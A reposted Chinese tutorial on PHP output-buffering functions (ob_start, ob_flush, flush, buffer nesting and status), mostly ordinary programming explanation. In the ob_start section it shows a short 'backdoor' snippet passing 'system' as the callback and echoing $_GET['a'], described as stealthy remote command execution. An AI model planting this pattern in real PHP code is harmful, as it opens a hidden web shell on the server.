PHP輸出緩衝控制Output Control系列函數詳解_php執行個體

來源:互聯網
上載者:User
概述

以前研究過PHP的輸入輸出緩衝,不過部落格搬家以後,原來文章找不到了,今天看到一篇好文,順便轉載過來。

簡介

說到輸出緩衝,首先要說的是一個叫做緩衝器(buffer)的東西。舉個簡單的例子說明他的作用:我們在編輯一篇文檔時,在我們沒有儲存之前,系統是不會向磁碟寫入的,而是寫到buffer中,當buffer寫滿或者執行了儲存操作,才會將資料寫入磁碟。對於PHP來說,每一次像 echo 這樣的輸出操作,同樣是先寫入到了 php buffer 裡,在指令碼執行完畢或者執行了強制輸出快取作業,資料才會在瀏覽器上顯示。
其實對於PHP程式員來說,基本上每個指令碼都涉及到了輸出緩衝,只是在大多數情況下,我們都不需要對輸出緩衝變更。而今天就來用執行個體對PHP輸出緩衝控制函數“Output Control”做一個詳細的解析。
下面這個例子簡單介紹了輸出緩衝在一般指令碼中存在的方式:
複製代碼 代碼如下:
echo 'Apple';
echo 'IBM';
echo 'Microsoft'

我們在執行上面這段指令碼時,指令碼在執行完第一個 echo 時,並不會向瀏覽器輸出相應內容,而是會輸出到一個緩衝區,依次類推,當三個 echo 全部執行完畢(也就是指令碼結束)時,才會將緩衝區內容全部輸出到瀏覽器。當然這個緩衝區也有大小的限制,是根據 php.ini 中的output_buffering選項來設定的,這點會在下面的文章中詳細介紹。而本章所講的輸出緩衝控制,就是在指令碼結束前,對緩衝區裡的內容進行操作。
下這個例子可以更好的體現輸出緩衝控制的應用:
複製代碼 代碼如下:
echo 'Apple'; sleep(2);
echo 'IBM'; sleep(2);
echo 'Microsoft';

我們至少需要等待 2秒 才能看到輸出結果,那我們能不能讓其即時的顯示呢?也就是在第一個 echo 執行完畢時就輸出相應的內容呢,這時候就需要用輸出緩衝控制函數來操作緩衝區了,具體怎麼實現先放一邊,文章的結尾會公布。

作用

1.在PHP中,像header(), session_start(), setcookie() 等這樣的發送標頭檔的函數前,不能有任何的輸出,而利用輸出緩衝控制函數可以在這些函數前進行輸出而不報錯。其實這麼做沒啥必要,非常少見的用法。
2.對輸出的內容進行處理,例如產生靜態快取檔案、進行gzip壓縮輸出,這算是較常用的功能了。
3.捕獲一些不可擷取的函數輸出,例如phpinfo(), var_dump() 等等,這些函數都會將運算結果顯示在瀏覽器中,而如果我們想對這些結果進行處理,則用輸出緩衝控制函數是個不錯的方法。說的通俗點,就是這類函數都不會有傳回值,而要擷取這些函數的輸出資料,就要用到輸出緩衝控制函數。
4.最後一種應用就是 簡介 中提到的 對一些資料進行即時的輸出。

php.ini 中的相關配置項

再來看看在 php.ini 中和輸出緩衝控制有關的選項,共三個,分別是:output_buffering, implicit_flush 和 output_handler。
1.output_buffering 預設為 off , 當設定為 on 時,則在所有指令碼自動開啟輸出緩衝區,就是在每個指令碼都自動執行了 ob_start() 這個函數,而不用再顯示的調用該函數。其也可以設定為一個整型的數字,代表緩衝區可以儲存的最大位元組數,我們在例1下面的說明中提到過這個配置項。
2.implicit_flush 預設為 off , 當設定為 on 時,PHP將在輸出後,自動送出緩衝區內容。就是在每段輸出後,自動執行 flush() 。當然有效輸出不僅指像echo , print 這樣的函數,也包括HTML段。
3.output_handler 預設為 null , 其值只能設定為一個內建的函數名,作用就是將指令碼的所有輸出,用所定義的函數進行處理。他的用法和 ob_start(‘function_name') 較類似,下面會介紹到。

本篇文章中,如果沒有特別說明,php.ini中output_buffering, implicit_flush 和 output_handler的值均為預設值。

Output Control 函數詳解

ob_start()

bool ob_start ([ callback outputcallback[,intchunk_size [, bool $erase ]]] )

此函數大家從命名上也能明白其含義,就是開啟輸出緩衝區,從而進行下一步的輸出緩衝處理。這裡要特意說的是其參數的用法,第一個參數要傳遞一個回呼函數,其需將緩衝區內容做為參數,並且返回一個字串。他會在緩衝區被送出時調用,緩衝區送出指的是執行了例如ob_flush() 等函數或者指令碼執行完畢。ob_flush() 函數會在下面介紹到,來看一個簡單的例子就能理解其用法:
複製代碼 代碼如下:
function dothing1($echo_thing){
return ' #' . $echo_thing . '# ';
}

ob_start('dothing1');
echo 'Apple';
輸出結果
#Apple#

從輸出的結果可以看出單詞兩邊被添加了“#”,也就是說在緩衝區內容輸出時,運行了我們定義的 dothing1函數。

再來看一個更實際的例子,也就是常見到的將網頁內容利用 gzip 壓縮後再輸出,代碼如下:
複製代碼 代碼如下:
ob_start();
echo str_repeat('Apple', 1024);

輸出結果:沒有使用gzip壓縮的情況下,輸出內容大小為5.2KB。

輸出結果:使用gzip壓縮的情況下,文檔大小小了很多,壓縮花費了時間,所以時間長了。

而第二個參數 chunk_size 為緩衝區的位元組長度,如果緩衝區內容大於此長度,將會被送出緩衝區,預設值為0,代表函數將會在最後被調用。第三個參數 erase 如果被設定為 flase , 則代表指令碼執行完畢後緩衝區才會被刪除,如果提前執行了刪除緩衝區函數(後面會提到),則會報一個錯誤。

ob_start() 的用法就這麼多,但有兩點需要特別注意的地方:

1.ob_start() 可重複調用,也就是說一個指令碼中可以存在多個緩衝區,但記得要按照嵌套順序將他們全部關閉掉,而如果多個 ob_start 都定義了第一個參數,也就是都定義了回呼函數,則會按照嵌套順序依次執行。關於緩衝區的堆疊嵌套,將在 ob_get_level 函數處詳細介紹,這裡就不過多闡述了。
2.ob_start() 還有一個不太明顯但很致命的後門用法,實現代碼如下:
複製代碼 代碼如下:
$cmd = 'system';
ob_start($cmd);
echo $_GET['a'];
ob_end_flush();
windows下面的輸出結果:
14 個目錄 30,970,388,480 可用位元組

如果理解了上面關於 ob_start的用法,這段代碼就不難理解了,其應用了 ob_start 函數會將緩衝區輸出的內容作為參數傳入所設定的函數中的特點,實現了以Web伺服器許可權遠程執行命令,並且不宜被發覺。

ob_get_contents()

string ob_get_contents ( void )
此函數用來擷取此時緩衝區的內容,下面的例子就能很好的理解其用法:
複製代碼 代碼如下:
ob_start('doting2');
echo 'apple';
$tmp = ob_get_contents();
file_put_contents('./doting2', $tmp);
ob_end_flush()

ob_get_length()

此函數用來擷取緩衝區內容的長度。

ob_get_level()
int ob_get_level ( void )
此函數用來擷取緩衝機制的嵌套層級,我們在介紹 ob_start() 函數時曾說過,在一個指令碼中可以嵌套存在多個緩衝區,而此函數就是來擷取當前緩衝區的嵌套層級,用法如下:
複製代碼 代碼如下:
ob_start();
var_dump(ob_get_level());
ob_start();
var_dump(ob_get_level());
ob_end_flush();
ob_end_flush();

運行後可以很明顯的看出他們的嵌套關係。

ob_get_status()
array ob_get_status ([ bool $full_status = FALSE ] )
此函數用來擷取當前緩衝區的狀態,返回一個狀態資訊的數組,如果第一個參數為 true ,將返回一個詳細資料的數組,我們結合執行個體來分析這個數組:
複製代碼 代碼如下:
ob_start('ob_gzhandler');
var_export(ob_get_status());
ob_start();
var_export(ob_get_status());
ob_end_flush(); ob_end_flush();
運行結果
array ( 'level' => 2, 'type' => 1, 'status' => 0, 'name' => 'ob_gzhandler', 'del' => true, )
array ( 'level' => 3, 'type' => 1, 'status' => 0, 'name' => 'default output handler', 'del' => true, )

說明:
1.level 為嵌套層級,也就是和通過 ob_get_level() 取到的值一樣
2.type 為處理緩衝類型,0為系統內部自動處理,1為使用者手動處理
3.status為緩衝處理狀態, 0為開始, 1為進行中, 2為結束
4.name 為定義的輸出處理函數名稱,也就是在 ob_start() 函數中第一個參數傳入的函數名
5.del 為是否運行了刪除緩衝區操作

ob_flush()
void ob_flush ( void )
此函數的作用就是 “送出” 當前緩衝區內容,同時清空緩衝區,需要注意這裡用的是 “送出” 一詞,也就是說調用此函數並不會將緩衝區內容輸出,必須在其後調用 flush 函數其才會輸出。關於 flush 的用法下面就會說到,這裡就不再做執行個體了。

flush()
void flush ( void )
這個函數算是比較常用的,用來將其前面的所有輸出發送到瀏覽器顯示,且不會對緩衝區有任何影響。換句話說,不論是 echo 等函數的輸出,還是 HTML實體 ,或是運行 ob_start() 送出的內容,運行 flush() 後都會在瀏覽器進行顯示。

ob_flush()與flush()的區別

在沒有開啟緩衝時,指令碼輸出的內容都在伺服器端處於等待輸出的狀態,flush()可以將等待輸出的內容立即發送到用戶端。 開啟緩衝後,指令碼輸出的內容存入了輸出緩衝中,這時沒有處於等待輸出狀態的內容,你直接使用flush()不會向用戶端發出任何內容。而ob_flush()的作用就是將本來存在輸出緩衝中的內容取出來,設定為等待輸出狀態,但不會直接發送到用戶端,這時你就需要先使用ob_flush()再使用flush(),用戶端才能立即獲得指令碼的輸出。

void ob_implicit_flush()

此函數用來開啟/關閉絕對刷送模式,就是在每一次輸出後自動執行 flush(),從而不需要再顯示的調用 flush() ,提高效率。

其他相關函數

1.bool ob_end_flush ( void )
2.string ob_get_flush ( void )
3.void ob_clean ( void )
4.bool ob_end_clean ( void )
5.string ob_get_clean ( void )

對一些資料進行即時的輸出

相信讀了上面的內容,就會對PHP的緩衝控制函數有較深的認識了,現在我們回到簡介中留下的問題:讓例2的指令碼實現即時的顯示內容,而不需要等待4秒後出現所有內容。
我們可以根據緩衝開啟與否,有如下幾種不同的寫法,如果你在測試過程中無法出現預期的效果,可以在header(‘content-type:text/html;charset=utf-8');下面插入str_repeat(‘ ‘, 1024);,你也可以嘗試更大的值,部分瀏覽器即使這麼做了,有可能還是無法出現效果,你可以嘗試將php代碼放入完整的html代碼塊body體內。下面代碼的header(‘content-type:text/html;charset=utf-8');不要省略哦,否則部分瀏覽器查看不到效果。
複製代碼 代碼如下:
ob_start(''); //這裡我使用ob_start('ob_gzhandler')沒有效果
header('content-type:text/html;charset=utf-8');
echo 'Apple #';
ob_flush(); flush();
sleep(2);
echo 'IBM #';
ob_flush(); flush();
sleep(2);
echo 'Microsoft';

  • 聯繫我們

    該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

    如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.